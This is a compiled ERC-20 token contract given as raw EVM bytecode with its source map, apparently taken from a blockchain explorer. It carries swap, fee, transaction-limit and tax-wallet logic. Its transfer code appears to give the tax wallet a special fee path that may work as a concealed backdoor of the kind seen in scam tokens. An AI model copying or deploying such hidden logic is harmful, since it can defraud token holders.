5576104c58161102c565b4780156104d5576104d5816111cf565b5050565b5f546001600160a01b0316331461050b5760405162461bcd60e51b81526004016105029061184c565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461057c5760405162461bcd60e51b81526004016105029061184c565b6105886009600a611827565b6105979064174876e800611835565b600c556105a66009600a611827565b6105b59064174876e800611835565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105e56009600a611827565b6105f49064174876e800611835565b60405190815260200160405180910390a1565b5f546001600160a01b031633146106305760405162461bcd60e51b81526004016105029061184c565b600e5460ff16156106835760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610502565b600e805460ff191660011790556106c430737a250d5630b4cf539739df2c5dacb4c659f2488d6106b56009600a611827565b6104549064174876e800611835565b737a250d5630b4cf539739df2c5dacb4c659f2488d63f305d71947306106fe816001600160a01b03165f9081526001602052604090205490565b5f806107115f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610777573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061079c9190611881565b505060405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201527f000000000000000000000000bd7a24bc2a9c90b0c8c60a7dab950943bee01ae86001600160a01b0316915063095ea7b3906044016020604051808303815f875af115801561081d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061084191906118ac565b506010805460ff19166001179055565b5f6103b4338484610981565b6001600160a01b0383166108bf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610502565b6001600160a01b0382166109205760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610502565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166109e55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610502565b6001600160a01b038216610a475760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610502565b5f8111610aa85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610502565b600e5460ff161580610ac15750600e54610100900460ff165b15610ad657610ad1838383611222565b505050565b5f80546001600160a01b03858116911614801590610b0157505f546001600160a01b03848116911614155b8015610b3f57507f0000000000000000000000008b252c1999e3cb3cea20f9d8eb9a49adfc8357116001600160a01b0316836001600160a01b031614155b15610e3257610b706064610b6a600854600b5411610b5f57600454610b63565b6006545b85906112c5565b9061134a565b90507f000000000000000000000000bd7a24bc2a9c90b0c8c60a7dab950943bee01ae86001600160a01b0316846001600160a01b0316148015610bd057506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610bf457506001600160a01b0383165f9081526003602052604090205460ff16155b15610cda57600c54821115610c4b5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610502565b600d5482610c6d856001600160a01b03165f9081526001602052604090205490565b610c7791906118cb565b1115610cc55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610502565b600b8054905f610cd4836118de565b91905055505b7f000000000000000000000000bd7a24bc2a9c90b0c8c60a7dab950943bee01ae86001600160a01b0316836001600160a01b0316148015610d2457506001600160a01b0384163014155b15610d5157610d4e6064610b6a600954600b5411610d4457600554610b63565b60075485906112c5565b90505b305f90815260016020526040902054600e54610100900460ff16158015610da957507f000000000000000000000000bd7a24bc2a9c90b0c8c60a7dab950943bee01ae86001600160a01b0316846001600160a01b0316145b8015610db7575060105460ff165b8015610ddb5750610dca6009600a611827565b610dd8906347868c00611835565b81115b8015610dea5750600a54600b54115b15610e3057610e1e610e1984610e1484610e066009600a611827565b610e14906347868c00611835565b61138b565b61102c565b478015610e2e57610e2e476111cf565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610e6f57506001600160a01b0383165f9081526003602052604090205460ff165b8015610e8457506001600160a01b0384163014155b8015610e9957506001600160a01b0383163014155b15610ea357436012555b6001600160a01b0384165f9081526003602052604090205460ff16158015610ee357506001600160a01b0383165f9081526003602052604090205460ff16155b15610fe2577f000000000000000000000000bd7a24bc2a9c90b0c8c60a7dab950943bee01ae86001600160a01b0316836001600160a01b031614610faf576001600160a01b038084165f908152601160205260409020908581167f000000000000000000000000bd7a24bc2a9c90b0c8c60a7dab950943bee01ae890911603610f775780545f03610f72574381555b610fa9565b6001600160a01b0385165f90815260116020526040902081541580610f9d575081548154105b15610fa757805482555b505b50610fe2565b6001600160a01b0384165f9081526011602052604090206012548154610fd591906118f6565b6002820155426001909101555b610fee8484848461139f565b50505050565b5f81848411156110175760405162461bcd60e51b81526004016105029190611616565b505f61102384866118f6565b95945050505050565b600e805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061106e5761106e611909565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110de573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611102919061191d565b8160018151811061111557611115611909565b60200260200101906001600160a01b031690816001600160a01b03168152505061115430737a250d5630b4cf539739df2c5dacb4c659f2488d8461085d565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906111939085905f90869030904290600401611938565b5f604051808303815f87803b1580156111aa575f80fd5b505af11580156111bc573d5f803e3d5ffd5b5050600e805461ff001916905550505050565b6040516001600160a01b037f0000000000000000000000008b252c1999e3cb3cea20f9d8eb9a49adfc835711169082156108fc029083905f818181858888f193505050501580156104d5573d5f803e3d5ffd5b6001600160a01b0383165f9081526001602052604090205461124490826113c9565b6001600160a01b038085165f908152600160205260408082209390935590841681522054611272908261140a565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109749085815260200190565b5f825f036112d457505f6103b8565b5f6112df8385611835565b9050826112ec85836119a9565b146113435760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610502565b9392505050565b5f61134383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611468565b5f8183116113995782611343565b50919050565b5f6113ab858484611494565b90506113c28585836113bd87876113c9565b611565565b5050505050565b5f61134383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff4565b5f8061141683856118cb565b9050838110156113435760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610502565b5f81836114885760405162461bcd60e51b81526004016105029190611616565b505f61102384866119a9565b5f807f0000000000000000000000008b252c1999e3cb3cea20f9d8eb9a49adfc8357116001600160a01b0316856001600160a01b0316036114e157600f546114dc90856112c5565b6114e3565b835b9050821561155d57305f90815260016020526040902054611504908461140a565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115549087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f9081526001602052604090205461158790836113c9565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546115b5908261140a565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116089085815260200190565b60405180910390a350505050565b5f602080835283518060208501525f5b8181101561164257858101830151858201604001528201611626565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611676575f80fd5b50565b5f806040838503121561168a575f80fd5b823561169581611662565b946020939093013593505050565b5f805f606084860312156116b5575f80fd5b83356116c081611662565b925060208401356116d081611662565b929592945050506040919091013590565b5f602082840312156116f1575f80fd5b813561134381611662565b5f806040838503121561170d575f80fd5b823561171881611662565b9150602083013561172881611662565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561178157815f190482111561176757611767611733565b8085161561177457918102915b93841c939080029061174c565b509250929050565b5f82611797575060016103b8565b816117a357505f6103b8565b81600181146117b957600281146117c3576117df565b60019150506103b8565b60ff8411156117d4576117d4611733565b50506001821b6103b8565b5060208310610133831016604e8410600b8410161715611802575081810a6103b8565b61180c8383611747565b805f190482111561181f5761181f611733565b029392505050565b5f61134360ff841683611789565b80820281158282048414176103b8576103b8611733565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611893575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118bc575f80fd5b81518015158114611343575f80fd5b808201808211156103b8576103b8611733565b5f600182016118ef576118ef611733565b5060010190565b818103818111156103b8576103b8611733565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561192d575f80fd5b815161134381611662565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119885784516001600160a01b031683529383019391830191600101611963565b50506001600160a01b03969096166060850152505050608001529392505050565b5f826119c357634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ce01676505b91d72daa946027f734f6da7eccbb64d7536f7cb85408dac32763764736f6c63430008170033
Deployed Bytecode Sourcemap
3485:10262:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5783:83;;;;;;;;;;-1:-1:-1;5853:5:0;;;;;;;;;;;;-1:-1:-1;;;5853:5:0;;;;5783:83;;;;;;;:::i;:::-;;;;;;;;6616:161;;;;;;;;;;-1:-1:-1;6616:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6616:161:0;1023:187:1;4506:63:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;4506:63:0;1215:177:1;6060:95:0;;;;;;;;;;;;;:::i;7044:313::-;;;;;;;;;;-1:-1:-1;7044:313:0;;;;;:::i;:::-;;:::i;5969:83::-;;;;;;;;;;-1:-1:-1;5969:83:0;;4112:1;2000:36:1;;1988:2;1973:18;5969:83:0;1858:184:1;4768:38:0;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;4768:38:0;2047:203:1;13337:370:0;;;;;;;;;;;;;:::i;:::-;;6163:119;;;;;;;;;;-1:-1:-1;6163:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6256:18:0;6229:7;6256:18;;;:9;:18;;;;;;;6163:119;2560:148;;;;;;;;;;;;;:::i;12481:162::-;;;;;;;;;;;;;:::i;4303:56::-;;;;;;;;;;;;;;;;12751:578;;;;;;;;;;;;;:::i;2346:79::-;;;;;;;;;;-1:-1:-1;2384:7:0;2411:6;-1:-1:-1;;;;;2411:6:0;2346:79;;4366:57;;;;;;;;;;;;;;;;5874:87;;;;;;;;;;-1:-1:-1;5946:7:0;;;;;;;;;;;;-1:-1:-1;;;5946:7:0;;;;5874:87;;6290:167;;;;;;;;;;-1:-1:-1;6290:167:0;;;;;:::i;:::-;;:::i;6465:143::-;;;;;;;;;;-1:-1:-1;6465:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6573:18:0;;;6546:7;6573:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6465:143;6616:161;6691:4;6708:39;181:10;6731:7;6740:6;6708:8;:39::i;:::-;-1:-1:-1;6765:4:0;6616:161;;;;;:::o;4506:63::-;4556:13;4112:1;4556:2;:13;:::i;:::-;4543:26;;:10;:26;:::i;:::-;4506:63;:::o;6060:95::-;6113:7;4170:13;4112:1;4170:2;:13;:::i;:::-;4155:28;;:12;:28;:::i;:::-;6133:14;;6060:95;:::o;7044:313::-;7142:4;7159:36;7169:6;7177:9;7188:6;7159:9;:36::i;:::-;7206:121;7215:6;181:10;7237:89;7275:6;7237:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7237:19:0;;;;;;:11;:19;;;;;;;;181:10;7237:33;;;;;;;;;;:37;:89::i;:::-;7206:8;:121::i;:::-;-1:-1:-1;7345:4:0;7044:313;;;;;:::o;13337:370::-;181:10;13401;-1:-1:-1;;;;;13387:24:0;;13379:33;;;;;;13464:4;13423:20;6256:18;;;:9;:18;;;;;;13484:16;;;;;:31;;-1:-1:-1;13504:11:0;;;;13484:31;13481:91;;;13530:30;13547:12;13530:16;:30::i;:::-;13601:21;13636:14;;13633:67;;13664:24;13677:10;13664:12;:24::i;:::-;13368:339;;13337:370::o;2560:148::-;2473:6;;-1:-1:-1;;;;;2473:6:0;181:10;2473:22;2465:67;;;;-1:-1:-1;;;2465:67:0;;;;;;;:::i;:::-;;;;;;;;;2667:1:::1;2651:6:::0;;2630:40:::1;::::0;-1:-1:-1;;;;;2651:6:0;;::::1;::::0;2630:40:::1;::::0;2667:1;;2630:40:::1;2698:1;2681:19:::0;;-1:-1:-1;;;;;;2681:19:0::1;::::0;;2560:148::o;12481:162::-;2473:6;;-1:-1:-1;;;;;2473:6:0;181:10;2473:22;2465:67;;;;-1:-1:-1;;;2465:67:0;;;;;;;:::i;:::-;4170:13:::1;4112:1;4170:2;:13;:::i;:::-;4155:28;::::0;:12:::1;:28;:::i;:::-;12537:12;:21:::0;4170:13:::1;4112:1;4170:2;:13;:::i;:::-;4155:28;::::0;:12:::1;:28;:::i;:::-;12569:14;:23:::0;12608:27:::1;4170:13;4112:1;4170:2;:13;:::i;:::-;4155:28;::::0;:12:::1;:28;:::i;:::-;12608:27;::::0;1361:25:1;;;1349:2;1334:18;12608:27:0::1;;;;;;;12481:162::o:0;12751:578::-;2473:6;;-1:-1:-1;;;;;2473:6:0;181:10;2473:22;2465:67;;;;-1:-1:-1;;;2465:67:0;;;;;;;:::i;:::-;12817:11:::1;::::0;::::1;;12816:12;12808:47;;;::::0;-1:-1:-1;;;12808:47:0;;5145:2:1;12808:47:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;12808:47:0::1;4943:347:1::0;12808:47:0::1;12866:11;:18:::0;;-1:-1:-1;;12866:18:0::1;12880:4;12866:18;::::0;;12895:57:::1;12912:4;4712:42;4170:13;4112:1;4170:2;:13;:::i;:::-;4155:28;::::0;:12:::1;:28;:::i;12895:57::-;4712:42;12963:31;13016:21;13071:4;13091:24;13071:4:::0;-1:-1:-1;;;;;6256:18:0;6229:7;6256:18;;;:9;:18;;;;;;;6163:119;13091:24:::1;13130:1;13146::::0;13162:7:::1;2384::::0;2411:6;-1:-1:-1;;;;;2411:6:0;;2346:79;13162:7:::1;12963:247;::::0;::::1;::::0;;;-1:-1:-1;;;;;;12963:247:0;;;-1:-1:-1;;;;;5654:15:1;;;12963:247:0::1;::::0;::::1;5636:34:1::0;5686:18;;;5679:34;;;;5729:18;;;5722:34;;;;5772:18;;;5765:34;5836:15;;;5815:19;;;5808:44;13184:15:0::1;5868:19:1::0;;;5861:35;5570:19;;12963:247:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;13221:71:0::1;::::0;-1:-1:-1;;;13221:71:0;;4712:42:::1;13221:71;::::0;::::1;6392:51:1::0;-1:-1:-1;;6459:18:1;;;6452:34;13228:13:0::1;-1:-1:-1::0;;;;;13221:29:0::1;::::0;-1:-1:-1;13221:29:0::1;::::0;6365:18:1;;13221:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;13303:11:0::1;:18:::0;;-1:-1:-1;;13303:18:0::1;13317:4;13303:18;::::0;;12751:578::o;6290:167::-;6368:4;6385:42;181:10;6409:9;6420:6;6385:9;:42::i;7365:335::-;-1:-1:-1;;;;;7458:19:0;;7450:68;;;;-1:-1:-1;;;7450:68:0;;6981:2:1;7450:68:0;;;6963:21:1;7020:2;7000:18;;;6993:30;7059:34;7039:18;;;7032:62;-1:-1:-1;;;7110:18:1;;;7103:34;7154:19;;7450:68:0;6779:400:1;7450:68:0;-1:-1:-1;;;;;7537:21:0;;7529:68;;;;-1:-1:-1;;;7529:68:0;;7386:2:1;7529:68:0;;;7368:21:1;7425:2;7405:18;;;7398:30;7464:34;7444:18;;;7437:62;-1:-1:-1;;;7515:18:1;;;7508:32;7557:19;;7529:68:0;7184:398:1;7529:68:0;-1:-1:-1;;;;;7608:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7660:32;;1361:25:1;;;7660:32:0;;1334:18:1;7660:32:0;;;;;;;;7365:335;;;:::o;7708:3085::-;-1:-1:-1;;;;;7801:18:0;;7793:68;;;;-1:-1:-1;;;7793:68:0;;7789:2:1;7793:68:0;;;7771:21:1;7828:2;7808:18;;;7801:30;7867:34;7847:18;;;7840:62;-1:-1:-1;;;7918:18:1;;;7911:35;7963:19;;7793:68:0;7587:401:1;7793:68:0;-1:-1:-1;;;;;7880:16:0;;7872:64;;;;-1:-1:-1;;;7872:64:0;;8195:2:1;7872:64:0;;;8177:21:1;8234:2;8214:18;;;8207:30;8273:34;8253:18;;;8246:62;-1:-1:-1;;;8324:18:1;;;8317:33;8367:19;;7872:64:0;7993:399:1;7872:64:0;7983:1;7971:11;:13;7949:104;;;;-1:-1:-1;;;7949:104:0;;8599:2:1;7949:104:0;;;8581:21:1;8638:2;8618:18;;;8611:30;8677:34;8657:18;;;8650:62;-1:-1:-1;;;8728:18:1;;;8721:39;8777:19;;7949:104:0;8397:405:1;7949:104:0;8071:11;;;;8070:12;;:21;;-1:-1:-1;8085:6:0;;;;;;;8070:21;8066:112;;;8108:37;8123:4;8129:2;8133:11;8108:14;:37::i;:::-;7708:3085;;;:::o;8066:112::-;8190:17;2411:6;;-1:-1:-1;;;;;8224:15:0;;;2411:6;;8224:15;;;;:32;;-1:-1:-1;2384:7:0;2411:6;-1:-1:-1;;;;;8243:13:0;;;2411:6;;8243:13;;8224:32;:51;;;;;8265:10;-1:-1:-1;;;;;8260:15:0;:2;-1:-1:-1;;;;;8260:15:0;;;8224:51;8220:1383;;;8304:84;8384:3;8304:74;8333:15;;8321:9;;:27;8320:57;;8363:14;;8320:57;;;8350:12;;8320:57;8304:11;;:15;:74::i;:::-;:78;;:84::i;:::-;8292:96;;8417:13;-1:-1:-1;;;;;8409:21:0;:4;-1:-1:-1;;;;;8409:21:0;;:54;;;;-1:-1:-1;;;;;;8434:29:0;;4712:42;8434:29;;8409:54;:82;;;;-1:-1:-1;;;;;;8469:22:0;;;;;;:18;:22;;;;;;;;8467:24;8409:82;8405:400;;;8557:12;;8542:11;:27;;8512:104;;;;-1:-1:-1;;;8512:104:0;;9009:2:1;8512:104:0;;;8991:21:1;9048:2;9028:18;;;9021:30;9087:27;9067:18;;;9060:55;9132:18;;8512:104:0;8807:349:1;8512:104:0;8696:14;;8681:11;8665:13;8675:2;-1:-1:-1;;;;;6256:18:0;6229:7;6256:18;;;:9;:18;;;;;;;6163:119;8665:13;:27;;;;:::i;:::-;:45;;8635:124;;;;-1:-1:-1;;;8635:124:0;;9493:2:1;8635:124:0;;;9475:21:1;9532:2;9512:18;;;9505:30;9571:28;9551:18;;;9544:56;9617:18;;8635:124:0;9291:350:1;8635:124:0;8778:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8405:400;8829:13;-1:-1:-1;;;;;8824:18:0;:2;-1:-1:-1;;;;;8824:18:0;;:43;;;;-1:-1:-1;;;;;;8846:21:0;;8862:4;8846:21;;8824:43;8821:180;;;8900:85;8981:3;8900:75;8927:16;;8917:9;;:26;8916:58;;8959:15;;8916:58;;;8945:13;;8900:11;;:15;:75::i;:85::-;8888:97;;8821:180;9065:4;9017:28;6256:18;;;:9;:18;;;;;;9091:6;;;;;;;9090:7;:29;;;;;9106:13;-1:-1:-1;;;;;9100:19:0;:2;-1:-1:-1;;;;;9100:19:0;;9090:29;:44;;;;-1:-1:-1;9123:11:0;;;;9090:44;:86;;;;-1:-1:-1;4486:13:0;4112:1;4486:2;:13;:::i;:::-;4473:26;;:10;:26;:::i;:::-;9136:20;:40;9090:86;:119;;;;;9191:18;;9180:9;;:29;9090:119;9086:506;;;9230:153;9265:117;9291:11;9325:38;9329:20;4556:13;4112:1;4556:2;:13;:::i;:::-;4543:26;;:10;:26;:::i;:::-;9325:3;:38::i;9265:117::-;9230:16;:153::i;:::-;9431:21;9475:22;;9471:106;;9522:35;9535:21;9522:12;:35::i;:::-;9211:381;9086:506;8277:1326;8220:1383;-1:-1:-1;;;;;9620:24:0;;;;;;:18;:24;;;;;;;;;:49;;-1:-1:-1;;;;;;9647:22:0;;;;;;:18;:22;;;;;;;;9620:49;9619:73;;;;-1:-1:-1;;;;;;9673:19:0;;9687:4;9673:19;;9619:73;:94;;;;-1:-1:-1;;;;;;9696:17:0;;9708:4;9696:17;;9619:94;9615:156;;;9747:12;9730:14;:29;9615:156;-1:-1:-1;;;;;9788:24:0;;;;;;:18;:24;;;;;;;;9787:25;:53;;;;-1:-1:-1;;;;;;9818:22:0;;;;;;:18;:22;;;;;;;;9816:24;9787:53;9783:943;;;9866:13;-1:-1:-1;;;;;9860:19:0;:2;-1:-1:-1;;;;;9860:19:0;;9856:859;;-1:-1:-1;;;;;9933:16:0;;;9901:29;9933:16;;;:12;:16;;;;;;9972:20;;;:13;:20;;;;9968:491;;10020:21;;;:26;10017:119;;10100:12;10075:37;;10017:119;9968:491;;;-1:-1:-1;;;;;10218:18:0;;10184:31;10218:18;;;:12;:18;;;;;10265:21;;:24;;10263:76;;-1:-1:-1;10318:21:0;;10294:23;;:45;10263:76;10259:181;;;10393:23;;10369:47;;10259:181;10161:298;9968:491;9882:592;9856:859;;;-1:-1:-1;;;;;10533:18:0;;10499:31;10533:18;;;:12;:18;;;;;10623:14;;10599:23;;:38;;10623:14;10599:38;:::i;:::-;10570:26;;;:67;10684:15;10656:25;;;;:43;9856:859;10738:47;10753:4;10758:2;10762:11;10775:9;10738:14;:47::i;:::-;7782:3011;7708:3085;;;:::o;1238:190::-;1324:7;1360:12;1352:6;;;;1344:29;;;;-1:-1:-1;;;1344:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1384:9:0;1396:5;1400:1;1396;:5;:::i;:::-;1384:17;1238:190;-1:-1:-1;;;;;1238:190:0:o;11990:483::-;5234:6;:13;;-1:-1:-1;;5234:13:0;;;;;12092:16:::1;::::0;;12106:1:::1;12092:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12092:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12092:16:0::1;12068:40;;12137:4;12119;12124:1;12119:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1::0;;;;;12119:23:0::1;;;-1:-1:-1::0;;;;;12119:23:0::1;;;::::0;::::1;4712:42;-1:-1:-1::0;;;;;12163:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12153:4;12158:1;12153:7;;;;;;;;:::i;:::-;;;;;;:32;-1:-1:-1::0;;;;;12153:32:0::1;;;-1:-1:-1::0;;;;;12153:32:0::1;;;::::0;::::1;12196:62;12213:4;4712:42;12246:11;12196:8;:62::i;:::-;12269:196;::::0;-1:-1:-1;;;12269:196:0;;4712:42:::1;::::0;12269:66:::1;::::0;:196:::1;::::0;12350:11;;12376:1:::1;::::0;12392:4;;12419::::1;::::0;12439:15:::1;::::0;12269:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5270:6:0;:14;;-1:-1:-1;;5270:14:0;;;-1:-1:-1;;;;11990:483:0:o;12651:92::-;12708:27;;-1:-1:-1;;;;;12708:10:0;:19;;:27;;;;;12728:6;;12708:27;;;;12728:6;12708:19;:27;;;;;;;;;;;;;;;;;;;6785:251;-1:-1:-1;;;;;6893:15:0;;;;;;:9;:15;;;;;;:32;;6913:11;6893:19;:32::i;:::-;-1:-1:-1;;;;;6876:15:0;;;;;;;:9;:15;;;;;;:49;;;;6951:13;;;;;;;:30;;6969:11;6951:17;:30::i;:::-;-1:-1:-1;;;;;6936:13:0;;;;;;;:9;:13;;;;;;;:45;;;;6997:31;;;;;;;;;;7016:11;1361:25:1;;1349:2;1334:18;;1215:177;1436:246:0;1494:7;1518:1;1523;1518:6;1514:47;;-1:-1:-1;1548:1:0;1541:8;;1514:47;1571:9;1583:5;1587:1;1583;:5;:::i;:::-;1571:17;-1:-1:-1;1616:1:0;1607:5;1611:1;1571:17;1607:5;:::i;:::-;:10;1599:56;;;;-1:-1:-1;;;1599:56:0;;11848:2:1;1599:56:0;;;11830:21:1;11887:2;11867:18;;;11860:30;11926:34;11906:18;;;11899:62;-1:-1:-1;;;11977:18:1;;;11970:31;12018:19;;1599:56:0;11646:397:1;1599:56:0;1673:1;1436:246;-1:-1:-1;;;1436:246:0:o;1690:132::-;1748:7;1775:39;1779:1;1782;1775:39;;;;;;;;;;;;;;;;;:3;:39::i;11878:104::-;11935:7;11964:1;11960;:5;11959:15;;11973:1;11959:15;;;-1:-1:-1;11969:1:0;11878:104;-1:-1:-1;11878:104:0:o;10801:306::-;10938:15;10956:43;10970:4;10976:11;10989:9;10956:13;:43::i;:::-;10938:61;-1:-1:-1;11010:89:0;11044:4;11050:2;10938:61;11062:26;:11;11078:9;11062:15;:26::i;:::-;11010:19;:89::i;:::-;10927:180;10801:306;;;;:::o;1094:136::-;1152:7;1179:43;1183:1;1186;1179:43;;;;;;;;;;;;;;;;;:3;:43::i;907:179::-;965:7;;997:5;1001:1;997;:5;:::i;:::-;985:17;;1026:1;1021;:6;;1013:46;;;;-1:-1:-1;;;1013:46:0;;12250:2:1;1013:46:0;;;12232:21:1;12289:2;12269:18;;;12262:30;12328:29;12308:18;;;12301:57;12375:18;;1013:46:0;12048:351:1;1830:189:0;1916:7;1951:12;1944:5;1936:28;;;;-1:-1:-1;;;1936:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1975:9:0;1987:5;1991:1;1987;:5;:::i;11115:432::-;11236:7;11256:15;11281:10;-1:-1:-1;;;;;11274:17:0;:5;-1:-1:-1;;;;;11274:17:0;;:60;;11308:9;;:26;;11322:11;11308:13;:26::i;:::-;11274:60;;;11294:11;11274:60;11256:78;-1:-1:-1;11349:11:0;;11345:170;;11422:4;11404:24;;;;:9;:24;;;;;;:39;;11433:9;11404:28;:39::i;:::-;11395:4;11377:24;;;;:9;:24;;;;;;;:66;;;;11463:40;;-1:-1:-1;;;;;11463:40:0;;;;;;;11493:9;1361:25:1;;1349:2;1334:18;;1215:177;11463:40:0;;;;;;;;11345:170;11532:7;11115:432;-1:-1:-1;;;;11115:432:0:o;11555:315::-;-1:-1:-1;;;;;11723:15:0;;;;;;:9;:15;;;;;;:31;;11743:10;11723:19;:31::i;:::-;-1:-1:-1;;;;;11707:15:0;;;;;;;:9;:15;;;;;;:47;;;;11780:13;;;;;;;:32;;11798:13;11780:17;:32::i;:::-;-1:-1:-1;;;;;11765:13:0;;;;;;;:9;:13;;;;;;;:47;;;;11830:32;;;;;;;;;;11848:13;1361:25:1;;1349:2;1334:18;;1215:177;11830:32:0;;;;;;;;11555:315;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;